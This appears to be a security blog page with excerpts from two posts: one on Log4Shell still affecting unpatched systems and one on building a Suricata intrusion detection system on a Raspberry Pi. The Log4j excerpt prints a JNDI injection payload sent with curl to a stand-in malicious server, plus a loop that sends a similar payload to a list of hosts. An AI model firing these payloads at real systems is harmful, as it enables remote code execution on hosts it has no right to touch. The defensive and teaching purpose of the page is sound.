CYBERWILLOW

Despite being discovered years ago, Log4j vulnerabilities continue to plague systems that haven't been properly patched. In this post, we'll explore how these vulnerabilities are still relevant in 2025 and how to protect your infrastructure.

The infamous Log4Shell vulnerability (CVE-2021-44228) allowed attackers to execute arbitrary code by submitting a specially crafted request that would be logged by the vulnerable application.

# Example payload for Log4j exploitation
curl -H 'X-Api-Version: ${jndi:ldap://malicious-server.com/payload}' https://vulnerable-app.com/api/

# Detection script
for host in $(cat target-hosts.txt); do
  echo "Testing $host..."
  curl -s -H 'X-Api-Version: ${jndi:ldap://canary.example.com/flag}' $host
done

Even in 2025, we're still finding legacy systems and embedded devices running vulnerable versions of this library. Let's examine the proper mitigation techniques and how to properly validate your security posture.

The new Raspberry Pi 7 packs enough computing power to run sophisticated Intrusion Detection Systems that would have required dedicated hardware just a few years ago. In this guide, we'll build a custom IDS using open-source tools.

With 16GB of RAM and the new ARM architecture, these tiny devices can analyze network traffic in real-time and alert you to potential threats.

# Install dependencies
sudo apt update
sudo apt install -y suricata tcpdump python3-pip

# Configure interface for monitoring
sudo ip link set eth0 promisc on
sudo systemctl enable suricata
sudo systemctl start suricata

# Set up custom alert dashboard
pip3 install flask pandas matplotlib
git clone https://github.com/cyberwillow/ids-dashboard.git

Our custom solution will process alerts in real-time and provide a comprehensive dashboard for monitoring potential security incidents across your network.